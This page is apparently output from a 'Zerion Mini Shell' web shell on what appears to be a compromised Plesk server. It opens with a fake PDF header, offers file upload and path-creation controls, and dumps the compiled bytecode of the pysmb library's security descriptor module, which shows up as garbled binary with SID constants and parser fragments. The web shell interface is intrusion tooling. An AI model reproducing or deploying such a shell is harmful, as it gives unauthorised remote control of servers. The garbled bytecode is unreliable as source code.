%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib/python2.7/site-packages/smb/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyo

�
�ac@sVddlZdZdZdZdZdZdZdZd	Zd
Z	dZ
dZd
ZdZ
dZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZ dZ!dZ"dZ#d Z$dZ%dZ&dZ'dZ(dZ)dZ*d	Z+d!Z,d"Z-d#Z.d$Z/d%Z0d&Z1d'Z2d(Z3d)Z4d*Z5d+Z6d,Z7d-Z8d.Z9d/Z:d0Z;d1Z<d2Z=d3Z>d4Z?d5Z@d6ZAd7ZBd8ZCd9ZDd:ZEd;ZFd<ZGd=ZHd>ZId?ZJd@ZKdAZLdBZMdCZNdDZOdEZPdFZQdGZRdHZSdIZTdJZUdKZVdLZWdMZXdNZYdOZZdPZ[dQZ\dRZ]dSZ^dTZ_dUZ`dVZadWZbdXZcdYZddZZed[Zfd\Zgd]Zhd^Zid_Zjd`ZkdaZldbZmdcZnddZodeZpdfZqdgZrdhZsdiZtdjZudkZvdlZwdmZxdnZydoZzdpZ{dqZ|drZ}dse~fdt��YZdue~fdv��YZ�dwe~fdx��YZ�dye~fdz��YZ�dS({i����Niiiiii i@i�iiiiii i@i�iiiiii	i
iii
iiiiisS-1-0-0sS-1-1-0sS-1-2-0sS-1-2-1sS-1-3-0sS-1-3-1sS-1-3-2sS-1-3-3sS-1-3-4sS-1-5sS-1-5-1sS-1-5-2sS-1-5-3sS-1-5-4sS-1-5-6sS-1-5-7sS-1-5-8sS-1-5-9sS-1-5-10sS-1-5-11sS-1-5-12sS-1-5-13sS-1-5-14sS-1-5-15sS-1-5-17sS-1-5-18sS-1-5-19sS-1-5-20sS-1-5-21-0-0-0-496sS-1-5-21-0-0-0-497sS-1-5-32-544sS-1-5-32-545sS-1-5-32-546sS-1-5-32-547sS-1-5-32-548sS-1-5-32-549sS-1-5-32-550sS-1-5-32-551sS-1-5-32-552sS-1-5-32-554sS-1-5-32-555sS-1-5-32-556sS-1-5-32-557sS-1-5-32-558sS-1-5-32-559sS-1-5-32-560sS-1-5-32-561sS-1-5-32-562sS-1-5-32-568sS-1-5-32-569sS-1-5-32-573sS-1-5-32-574sS-1-5-32-575sS-1-5-32-576sS-1-5-32-577sS-1-5-32-578sS-1-5-32-579sS-1-5-32-580sS-1-5-33sS-1-5-64-10sS-1-5-64-14sS-1-5-64-21s
S-1-5-65-1sS-1-5-80sS-1-5-84-0-0-0-0-0s	S-1-5-113s	S-1-5-114s
S-1-5-1000s
S-1-15-2-1sS-1-16-0sS-1-16-4096sS-1-16-8192sS-1-16-8448sS-1-16-12288sS-1-16-16384sS-1-16-20480sS-1-18-1sS-1-18-2sS-1-18-3sS-1-18-4sS-1-18-5sS-1-18-6tSIDcBs5eZd�Zd�Zd�Zeed��ZRS(cCs||_||_||_dS(N(trevisiontidentifier_authoritytsubauthorities(tselfRRR((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyt__init__�s		cCs\|jdkr"d|jf}n	|j}|j|g|j}ddjd�|D��S(Nii s%#xsS-t-css|]}t|�VqdS(N(tstr(t.0tsubauth((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pys	<genexpr>�sI(RRRtjoin(Rtid_authtauths((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyt__str__�s
	cCsdt|�fS(NsSID(%r)(R(R((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyt__repr__�sc
	Cs�tjd|d �\}}tjdd|dd!�d}|d}gt|�D]/}tjd|d|d|d	!�d^qT}||||�}	|r�|	|d|fS|	S(
Ns<BBis>Qsiis<Lii(tstructtunpacktrange(
tclstdatatreturn_tailRt
subauth_countRtsubauth_datatiRtsid((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyt
from_bytes�s!
?(t__name__t
__module__RR
RtclassmethodtFalseR(((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyR�s
			tACEcBs>eZdZd�Zd�Zed��Zed��ZRS(s<BBHcCs1||_||_||_||_||_dS(N(ttypetflagstmaskRtadditional_data(Rttype_R R!RR"((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyR�s
					cCs d|j|j|j|jfS(Ns1ACE(type=%#04x, flags=%#04x, mask=%#010x, sid=%s)(RR R!R(R((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyR�scCst|jt@�S(N(tboolR tACE_FLAG_INHERIT_ONLY(R((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyt
isInheritOnly�scCsTtj|j�}|| }tj|j|�\}}}|||!}i}tjd|d �d}	|d}|tttttt	fkr�tjd|d �d|d<|dd!|d<|dd!|d<|d}nt
j|d	t�\}
}|t
tttttt	fkr%||d
<n|tkr>||d<n||||	|
|�S(Ns<IiiR itobject_typei$tinherited_object_typeRtapplication_datatattribute_data(Rtcalcsizet
HEADER_FORMATRtACE_TYPE_ACCESS_ALLOWED_OBJECTtACE_TYPE_ACCESS_DENIED_OBJECTt'ACE_TYPE_ACCESS_ALLOWED_CALLBACK_OBJECTt&ACE_TYPE_ACCESS_DENIED_CALLBACK_OBJECTtACE_TYPE_SYSTEM_AUDIT_OBJECTt%ACE_TYPE_SYSTEM_AUDIT_CALLBACK_OBJECTRRtTruet ACE_TYPE_ACCESS_ALLOWED_CALLBACKtACE_TYPE_ACCESS_DENIED_CALLBACKtACE_TYPE_SYSTEM_AUDIT_CALLBACKt"ACE_TYPE_SYSTEM_RESOURCE_ATTRIBUTE(RRtheader_sizetheaderR#R tsizetbodyR"R!R((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyR�s:





(	RRR,RRtpropertyR&RR(((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyR�s
		tACLcBs/eZdZd�Zd�Zed��ZRS(s<BBHHHcCs||_||_dS(N(Rtaces(RRR>((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyR"s	cCsd|jfS(NsACL(%r)(R>(R((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyR(scCs�d}g}tj|j�}|| ||}}tj|j|�\}}}}	}
x\t|	�D]N}tjd|dd!�d}|| ||}
}|jtj|
��qdW|||�S(Ns<Hiii(	tNoneRR+R,RRtappendRR(RRRR>R8R9t	remainingtsbz1R:tcounttsbz2Rtace_sizetace_data((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyR+s$(RRR,RRRR(((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyR=s		tSecurityDescriptorcBs&eZdZd�Zed��ZRS(s<BBHIIIIcCs1||_||_||_||_||_dS(N(R townertgrouptdacltsacl(RR RHRIRJRK((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyRGs
				cCs�d}d}d}d}|tj|j� }tj|j|�\}}}	}
}}}
x|
|||
fD]}qkW|
r�tj||
�}n|r�tj||�}n|
r�tj||
�}n|r�tj||�}n||	||||�S(N(R?RR+R,RRRR=(RRRHRIRJRKR9RRBR towner_offsettgroup_offsettsacl_offsettdacl_offsettoffset((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyRVs"*(RRR,RRR(((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyRG>s	(�Rt#SECURITY_DESCRIPTOR_OWNER_DEFAULTEDt#SECURITY_DESCRIPTOR_GROUP_DEFAULTEDt SECURITY_DESCRIPTOR_DACL_PRESENTt"SECURITY_DESCRIPTOR_DACL_DEFAULTEDt SECURITY_DESCRIPTOR_SACL_PRESENTt"SECURITY_DESCRIPTOR_SACL_DEFAULTEDt#SECURITY_DESCRIPTOR_SERVER_SECURITYt SECURITY_DESCRIPTOR_DACL_TRUSTEDt6SECURITY_DESCRIPTOR_DACL_COMPUTED_INHERITANCE_REQUIREDt6SECURITY_DESCRIPTOR_SACL_COMPUTED_INHERITANCE_REQUIREDt'SECURITY_DESCRIPTOR_DACL_AUTO_INHERITEDt'SECURITY_DESCRIPTOR_SACL_AUTO_INHERITEDt"SECURITY_DESCRIPTOR_DACL_PROTECTEDt"SECURITY_DESCRIPTOR_SACL_PROTECTEDt$SECURITY_DESCRIPTOR_RM_CONTROL_VALIDt!SECURITY_DESCRIPTOR_SELF_RELATIVEtACE_TYPE_ACCESS_ALLOWEDtACE_TYPE_ACCESS_DENIEDtACE_TYPE_SYSTEM_AUDITtACE_TYPE_SYSTEM_ALARMt ACE_TYPE_ACCESS_ALLOWED_COMPOUNDR-R.R1tACE_TYPE_SYSTEM_ALARM_OBJECTR4R5R/R0R6tACE_TYPE_SYSTEM_ALARM_CALLBACKR2t%ACE_TYPE_SYSTEM_ALARM_CALLBACK_OBJECTtACE_TYPE_SYSTEM_MANDATORY_LABELR7t ACE_TYPE_SYSTEM_SCOPED_POLICY_IDtACE_FLAG_OBJECT_INHERITtACE_FLAG_CONTAINER_INHERITtACE_FLAG_NO_PROPAGATE_INHERITR%tACE_FLAG_INHERITEDtACE_FLAG_SUCCESSFUL_ACCESStACE_FLAG_FAILED_ACCESStSID_NULLtSID_EVERYONEt	SID_LOCALtSID_CONSOLE_LOGONtSID_CREATOR_OWNERtSID_CREATOR_GROUPtSID_OWNER_SERVERtSID_GROUP_SERVERtSID_OWNER_RIGHTStSID_NT_AUTHORITYt
SID_DIALUPtSID_NETWORKt	SID_BATCHtSID_INTERACTIVEtSID_SERVICEt
SID_ANONYMOUSt	SID_PROXYt!SID_ENTERPRISE_DOMAIN_CONTROLLERStSID_PRINCIPAL_SELFtSID_AUTHENTICATED_USERStSID_RESTRICTED_CODEtSID_TERMINAL_SERVER_USERtSID_REMOTE_INTERACTIVE_LOGONtSID_THIS_ORGANIZATIONtSID_IUSRtSID_LOCAL_SYSTEMtSID_LOCAL_SERVICEtSID_NETWORK_SERVICEtSID_COMPOUNDED_AUTHENTICATIONtSID_CLAIMS_VALIDtSID_BUILTIN_ADMINISTRATORStSID_BUILTIN_USERStSID_BUILTIN_GUESTStSID_POWER_USERStSID_ACCOUNT_OPERATORStSID_SERVER_OPERATORStSID_PRINTER_OPERATORStSID_BACKUP_OPERATORStSID_REPLICATORtSID_ALIAS_PREW2KCOMPACCtSID_REMOTE_DESKTOPtSID_NETWORK_CONFIGURATION_OPSt"SID_INCOMING_FOREST_TRUST_BUILDERStSID_PERFMON_USERStSID_PERFLOG_USERSt&SID_WINDOWS_AUTHORIZATION_ACCESS_GROUPt#SID_TERMINAL_SERVER_LICENSE_SERVERStSID_DISTRIBUTED_COM_USERSt
SID_IIS_IUSRStSID_CRYPTOGRAPHIC_OPERATORStSID_EVENT_LOG_READERSt#SID_CERTIFICATE_SERVICE_DCOM_ACCESStSID_RDS_REMOTE_ACCESS_SERVERStSID_RDS_ENDPOINT_SERVERStSID_RDS_MANAGEMENT_SERVERStSID_HYPER_V_ADMINSt!SID_ACCESS_CONTROL_ASSISTANCE_OPStSID_REMOTE_MANAGEMENT_USERStSID_WRITE_RESTRICTED_CODEtSID_NTLM_AUTHENTICATIONtSID_SCHANNEL_AUTHENTICATIONtSID_DIGEST_AUTHENTICATIONt!SID_THIS_ORGANIZATION_CERTIFICATEtSID_NT_SERVICEtSID_USER_MODE_DRIVERStSID_LOCAL_ACCOUNTt4SID_LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUPtSID_OTHER_ORGANIZATIONtSID_ALL_APP_PACKAGEStSID_ML_UNTRUSTEDt
SID_ML_LOWt
SID_ML_MEDIUMtSID_ML_MEDIUM_PLUStSID_ML_HIGHt
SID_ML_SYSTEMtSID_ML_PROTECTED_PROCESSt.SID_AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITYtSID_SERVICE_ASSERTED_IDENTITYtSID_FRESH_PUBLIC_KEY_IDENTITYtSID_KEY_TRUST_IDENTITYtSID_KEY_PROPERTY_MFAtSID_KEY_PROPERTY_ATTESTATIONtobjectRRR=RG(((sM/opt/plesk/python/2.7/lib/python2.7/site-packages/smb/security_descriptors.pyt<module>s+[%

Zerion Mini Shell 1.0